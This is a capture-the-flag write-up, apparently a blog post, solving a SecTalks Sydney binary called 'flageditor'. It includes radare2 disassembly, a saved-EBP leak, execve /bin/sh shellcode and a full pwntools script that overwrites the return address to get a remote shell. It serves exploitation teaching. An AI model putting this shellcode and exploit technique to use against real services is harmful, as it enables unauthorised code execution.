Sectalks Sydney - Flageditor

November 20 2016

This challenge was one of three challenges presented by esswhy & grc at the Sydney Sectalks meetup in about mid October.

The other two challenges were a basic CSRF & input validation vulnerability which I solved on the spot but I didn't have a good look over this challenge until a few days before I was asked to present my solution for those two mentioned.

Running checksec on the flageditor binary I get the following:

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX disabled
PIE:      No PIE

So straight away it is obvious that it is a 32bit executable - and seeing that NX is off makes me think that we should be looking to run some shellcode.

Dumping main in radare we see that a call into a function edit_file() is made, which does some interesting things.

/ (fcn) sym.main 94
|   sym.main ();
|      ; var int local_8h @ ebp-0x8
|      ; var int local_4h @ esp+0x4
|      ; JMP XREF from 0x08048687 (entry0)
|      ; CALL XREF from 0x08048be4 (sym.main)
|      ; DATA XREF from 0x08048687 (entry0)
|      0x08048be4      8d4c2404       lea ecx, [esp + local_4h]  
|      0x08048be8      83e4f0         and esp, 0xfffffff0
|      0x08048beb      ff71fc         push dword [ecx - 4]
|      0x08048bee      55             push ebp
|      0x08048bef      89e5           mov ebp, esp
|      0x08048bf1      53             push ebx
|      0x08048bf2      51             push ecx
|      0x08048bf3      89cb           mov ebx, ecx
|      0x08048bf5      a164b00408     mov eax, dword [obj.stdout]
|      0x08048bfa      83ec08         sub esp, 8
|      0x08048bfd      6a00           push 0
|      0x08048bff      50             push eax
|      0x08048c00      e85bf9ffff     call sym.imp.setbuf
|      0x08048c05      83c410         add esp, 0x10
|      0x08048c08      833b01         cmp dword [ebx], 1          
|  ,=< 0x08048c0b      7e16           jle 0x8048c23
|  |   0x08048c0d      8b4304         mov eax, dword [ebx + 4]    
|  |   0x08048c10      83c004         add eax, 4
|  |   0x08048c13      8b00           mov eax, dword [eax]
|  |   0x08048c15      83ec0c         sub esp, 0xc
|  |   0x08048c18      50             push eax
|  |   0x08048c19      e8c4feffff     call sym.edit_file
|  |   0x08048c1e      83c410         add esp, 0x10
| ,==< 0x08048c21      eb10           jmp 0x8048c33
| |`-> 0x08048c23      83ec0c         sub esp, 0xc
| |    0x08048c26      686f8d0408     push str.nottheflag.txt 
| |    0x08048c2b      e8b2feffff     call sym.edit_file
| |    0x08048c30      83c410         add esp, 0x10
| |   
| `--> 0x08048c33      b800000000     mov eax, 0
|      0x08048c38      8d65f8         lea esp, [ebp - local_8h]
|      0x08048c3b      59             pop ecx
|      0x08048c3c      5b             pop ebx
|      0x08048c3d      5d             pop ebp
|      0x08048c3e      8d61fc         lea esp, [ecx - 4]
\      0x08048c41      c3             ret

So you can see that there is a comparison which leads to a filename nottheflag.txt being pushed to the stack prior to edit_file() being called - presumably as a function argument.

Upon inspection in radare2 we see edit_file() is just a large while loop - querying for the next input and acting upon this.

/ (fcn) sym.edit_file 258
|   sym.edit_file (int arg_8h);
|           ; var int local_5ch @ ebp-0x5c
|           ; var int local_54h @ ebp-0x54
|           ; var int local_50h @ ebp-0x50
|           ; var int local_4ch @ ebp-0x4c
|           ; var int local_ch @ ebp-0xc
|           ; var int local_4h @ ebp-0x4
|           ; arg int arg_8h @ ebp+0x8
|           ; CALL XREF from 0x08048c2b (sym.main)
|           ; CALL XREF from 0x08048c19 (sym.main)
|           0x08048ae2      55             push ebp
|           0x08048ae3      89e5           mov ebp, esp
|           0x08048ae5      57             push edi
|           0x08048ae6      83ec64         sub esp, 0x64               
|           0x08048ae9      8b4508         mov eax, dword [ebp + arg_8h] 
|           0x08048aec      8945a4         mov dword [ebp - local_5ch], eax
|           0x08048aef      65a114000000   mov eax, dword gs:[0x14]    
|           0x08048af5      8945f4         mov dword [ebp - local_ch], eax
|           0x08048af8      31c0           xor eax, eax
|           0x08048afa      8d55b4         lea edx, [ebp - local_4ch]
|           0x08048afd      b800000000     mov eax, 0
|           0x08048b02      b910000000     mov ecx, 0x10
|           0x08048b07      89d7           mov edi, edx
|           0x08048b09      f3ab           rep stosd dword es:[edi], eax
|           0x08048b0b      8d45b4         lea eax, [ebp - local_4ch]
|           0x08048b0e      8945ac         mov dword [ebp - local_54h], eax
|           0x08048b11      83ec08         sub esp, 8
|           0x08048b14      68588d0408     push 0x8048d58
|           0x08048b19      ff75a4         push dword [ebp - local_5ch]
|           0x08048b1c      e8fffaffff     call sym.imp.fopen
|           0x08048b21      83c410         add esp, 0x10
|           0x08048b24      8945b0         mov dword [ebp - local_50h], eax
|           0x08048b27      837db000       cmp dword [ebp - local_50h], 0
|       ,=< 0x08048b2b      751a           jne 0x8048b47
|       |   0x08048b2d      83ec0c         sub esp, 0xc
|       |   0x08048b30      685a8d0408     push str.File_does_not_exist.
|       |   0x08048b35      e8a6faffff     call sym.imp.puts
|       |   0x08048b3a      83c410         add esp, 0x10
|       |   0x08048b3d      83ec0c         sub esp, 0xc
|       |   0x08048b40      6a01           push 1
|       |   0x08048b42      e8a9faffff     call sym.imp.exit          
|       |   
|       `-> 0x08048b47      ff75b0         push dword [ebp - local_50h]
|           0x08048b4a      6a40           push 0x40                   
|           0x08048b4c      6a01           push 1
|           0x08048b4e      8d45b4         lea eax, [ebp - local_4ch]
|           0x08048b51      50             push eax
|           0x08048b52      e879faffff     call sym.imp.fread
|           0x08048b57      83c410         add esp, 0x10
|           0x08048b5a      83ec0c         sub esp, 0xc
|           0x08048b5d      ff75b0         push dword [ebp - local_50h]
|           0x08048b60      e83bfaffff     call sym.imp.fclose
|           0x08048b65      83c410         add esp, 0x10
|           0x08048b68      e8fefbffff     call sym.help
|       .-> 0x08048b6d      83ec08         sub esp, 8
|       |   0x08048b70      ff75ac         push dword [ebp - local_54h]
|       |   0x08048b73      8d45b4         lea eax, [ebp - local_4ch]
|       |   0x08048b76      50             push eax
|       |   0x08048b77      e892fdffff     call sym.hexdump
|       |   0x08048b7c      83c410         add esp, 0x10
|       |   0x08048b7f      e837fcffff     call sym.get_choice
|       |   0x08048b84      0fbec0         movsx eax, al
|       |   0x08048b87      83f869         cmp eax, 0x69               
|      ,==< 0x08048b8a      7430           je 0x8048bbc
|      ||   0x08048b8c      83f869         cmp eax, 0x69               
|     ,===< 0x08048b8f      7f07           jg 0x8048b98
|     |||   0x08048b91      83f868         cmp eax, 0x68               
|    ,====< 0x08048b94      740e           je 0x8048ba4
|   ,=====< 0x08048b96      eb33           jmp 0x8048bcb
|   |||||   
|   ||`---> 0x08048b98      83f86d         cmp eax, 0x6d               
|   ||,===< 0x08048b9b      740e           je 0x8048bab
|   |||||   0x08048b9d      83f871         cmp eax, 0x71               
|  ,======< 0x08048ba0      742b           je 0x8048bcd
| ,=======< 0x08048ba2      eb27           jmp 0x8048bcb
| ||||||| 
| |||`----> 0x08048ba4      e8c2fbffff     call sym.help
| |||,====< 0x08048ba9      eb20           jmp 0x8048bcb
| |||||||  
| ||||`---> 0x08048bab      e841fcffff     call sym.move
| |||| ||   0x08048bb0      89c2           mov edx, eax
| |||| ||   0x08048bb2      8d45b4         lea eax, [ebp - local_4ch]
| |||| ||   0x08048bb5      01d0           add eax, edx
| |||| ||   0x08048bb7      8945ac         mov dword [ebp - local_54h], eax
| ||||,===< 0x08048bba      eb0f           jmp 0x8048bcb
| |||||||
| |||||`--> 0x08048bbc      83ec0c         sub esp, 0xc
| ||||| |   0x08048bbf      ff75ac         push dword [ebp - local_54h]
| ||||| |   0x08048bc2      e881fcffff     call sym.insert
| ||||| |   0x08048bc7      83c410         add esp, 0x10
| ||||| |   0x08048bca      90             nop
| `-```-`=< 0x08048bcb      eba0           jmp 0x8048b6d
|  |     
|  `------> 0x08048bcd      90             nop
|           0x08048bce      8b45f4         mov eax, dword [ebp - local_ch]
|           0x08048bd1      653305140000.  xor eax, dword gs:[0x14]
|       ,=< 0x08048bd8      7405           je 0x8048bdf
|       |   0x08048bda      e8d1f9ffff     call sym.imp.__stack_chk_fail
|       |   
|       `-> 0x08048bdf      8b7dfc         mov edi, dword [ebp - local_4h]
|           0x08048be2      c9             leave
\           0x08048be3      c3             ret

A close look shows that local_4ch is pushed to the stack just before the sym.imp.fread call is made on instruction 0x08048b52. This shows that local_4ch is the pointer to where the file is read into, as the function definition for reading is size_t fread(void *ptr, FILE *stream);.

Looking at the prologue of the edit_file() function where local_4ch is being defined from the radare2 output we can see that local_4ch occupies 64bytes. Therfore the memory that the nottheflag.txt is loaded into is only this size.

So what now? The sensible thing to do is fire up the binary and have a play.

[email protected] ~/shared/flagshow > ./flageditor

Commands:
[h]elp
[m]ove cursor
[i]nsert bytes at cursor
[q]uit

0x00  68656c6c6f2073656374616c6b732020  hello sectalks
      ^^                                ^
0x10  3a290a00000000000000000000000000  :)..............
0x20  00000000000000000000000000000000  ................
0x30  00000000000000000000000000000000  ................

>

So as long as a file in the current directory called nottheflag.txt exists - the binary will load this up and store it in a 64 byte array in the stack. From here you have control in regards to choosing an offset pointer from the start of the array and you are able to edit the memory at that offset location - again this is on the stack.

I have already created the file nottheflag.txt and placed in this file the text "hello sectalks :)" as can be seen in the output above.

My logical train of thought was that this file was loaded into a local variable array of size 64 bytes - and that since we have the ability to shift some pointer using the move option in the application we can move the pointer far enough away from the start of the local array so that we can overwrite EIP on the stack.

But what would we overwrite EIP with? Well, the previous frame pointer will be stored on the stack just before EIP which points to the EBP of the stack frame of main() (the caller of edit_file()) which is just below the stack frame of edit_file().

So in reading EBP in the stack frame of edit_file() we will get the address of EBP in the stack frame of main. Now when the application is waiting for user input (EG to type in insert move, help etc.) the difference in memory locations between where the TXT File Array is in the edit_file() stack frame and the EBP of the main() stack frame is a fixed amount of memory (when waiting for user input ONLY).

This layout is shown as follows:

+-----------------------------+
|--|EDIT_FILE() STACK FRAME|--|
+-----------------------------+
|                             <------+
|  [64 Bytes] TXT File Array  |      |
|                             +------------------+
+-----------------------------+      |           |
|                             |      |           |
|   Random Local Vars         |      |           |
|                             |      | 80 Bytes  |
+-----------------------------+      |           |
|                             |      |           |
|  [4 Bytes] Stack Frame Ptr  +--+   |           |
|                             |  |   |           |
+-----------------------------+  |   |           | 108 Bytes
|                             |  |   |           |
|  [4 Bytes] Return Pointer   +------+           |
|                             |  |               |
+-----------------------------+  |               |
|----|MAIN() STACK FRAME|-----|  |               |
+-----------------------------+  |               |
|                             |  |               |
|  Random Local Vars          |  |               |
|                             |  |               |
+-----------------------------+  |               |
|                             <--+               |
|  [4 Bytes] Stack Frame Ptr  |                  |
|                             +------------------+
+-----------------------------+
|                             |
|  [4 Bytes] Return Pointer   |
|                             |
+-----------------------------+

There is an arrow from the edit_file() stack frame EIP pointing to the TXT File Array because I want to place shellcode in the TXT File Array using the insert() option of the application, and upon returning out of the edit_file() function by quitting (q) we will jump into the shellcode.

However we still need to find out the address of the shellcode so we can write this over the edit_file() return pointer and jump.

We can find offset of the edit_file() return address by simply looking this up in gdb. The EIP within the edit_file() frame was at address 0xffffce6c. Running a search for "hello" gave the address of the text file array at 0xffffce1c. The distance here is 0x50 (80) bytes. So if we move the application pointer to an offset of 80 we will be pointing to the start of the edit_file() return address.

pwndbg> c
Continuing.
Enter offset: 80
0x40  00fa94c060adf9f700a0f9f788ceffff  ....`...........
0x50  308c04086f8d0408000000003ccfffff  0...o.......<...
      ^^                                ^               
0x60  718c0408a0ceffff0000000000000000  q...............
0x70  3706e0f700a0f9f700a0f9f700000000  7...............

>

This is little endian so the value of the return address is 4 bytes onwards from the application pointer as show, backwards. This is therefore 0x08048c30. This can be confirmed by checking the value of the return address in GDB.

pwndbg> i frame
Stack level 0, frame at 0xffffce70:
 eip = 0x8048bb0 in edit_file; saved eip = 0x8048c30
 called by frame at 0xffffcea0
 Arglist at 0xffffce68, args:
 Locals at 0xffffce68, Previous frame's sp is 0xffffce70
 Saved registers:
  ebp at 0xffffce68, edi at 0xffffce64, eip at 0xffffce6c
pwndbg> x/wx 0xffffce6c
0xffffce6c:     0x08048c30
pwndbg>

This matches up! Which means we are on the right track. Therefore the four bytes before the pointer in the application is then the stack fram pointer of the edit_file() function which points back into the frame pointer of main().

Reading backwards or using GDB - the address 0xffffce68 (current EBP) points to 0xffffce88 (Location of main() EBP location). This is a stack frame leak which we can take advantage of to find out where our shellcode starts.

Using GDB we find that the difference between the start of the TXT file array and the stack frame pointer within main(), which has been leaked from the application is 0x6c (108) bytes.

Therefore knowing that the previous stack frame pointer in main() is at 0xffffce88, we can minus 0x6c to get the address of the TXT file array (for our shellcode) which is therefore at 0xffffce1c. Since ASLR is running on the remote system the address of the shellcode and the main() stack frame pointer will change on every run, but the distance between them will not. And this is why the leak is important.

Back in the application, we can insert the address of our shellcode in as calculated before - be sure to type it in single byte chunks backwards as the system is little endian (1cceffff). Then move back to the start of the array by using move with an offset of 0.

We then type in 'i' to begin the insert mode and then type the shellcode (without the '\x'):

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

All we have to do now is hit 'q' at the menu to quit the infinite while loop in edit_file() and be redirected into the shellcode from the return address of the function.

I have written a python script to run the whole exploit:

from pwn import *

def reverseByte(byte):
    return "".join(reversed([byte[i:i+2] for i in range(0, len(byte), 2)]))

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

shell = hex(unpack(shellcode, 'all', endian='big', sign=False))[2:]

r = remote('10.20.0.32', 1337)

r.recvuntil('> ')

r.sendline('i')
r.recvuntil('Insert bytes: ')
r.sendline(shell)
r.recvuntil('> ')
r.sendline('m')
r.recvuntil('Enter offset: ')
r.sendline('80')

hexLine = r.recvline()

log.info("EBP Leak found:\n{0}".format(hexLine))

ebpBlock = hexLine.split(' ')[2][-8:]

ebp = reverseByte(ebpBlock)

hexBlockStart = hex(int(ebp,16) - 108)[2::]

log.info("Overwriting EIP with: {0}".format(hexBlockStart))

hexBlockReverse = reverseByte(hexBlockStart)

r.recvuntil('> ')

r.sendline('i')

r.recvuntil('Insert bytes: ')

r.sendline(hexBlockReverse)

r.recvuntil('> ')

r.sendline('q')

log.success("P0pp3d a sh3ll")

r.interactive()

Which gives the following on runtime:

[email protected] > ~/Downloads > python flagpwn.py
[+] Opening connection to 10.20.0.32 on port 1337: Done
[*] EBP Leak found:
   0x40  00a75dfb603d79b7003079b7a8019bbf  ..].`=y..0y.....
[*] Overwriting EIP with: bf9b013c
[+] P0pp3d a sh3ll
[*] Switching to interactive mode
$ ls
flag.txt
flageditor
nottheflag.txt
run.sh
$ cat flag.txt
FLAG{hmm_M4yb3_1_sh0u1dv3_put_1n_s0m3_B0und4ry_ch3cks}
$  

Comments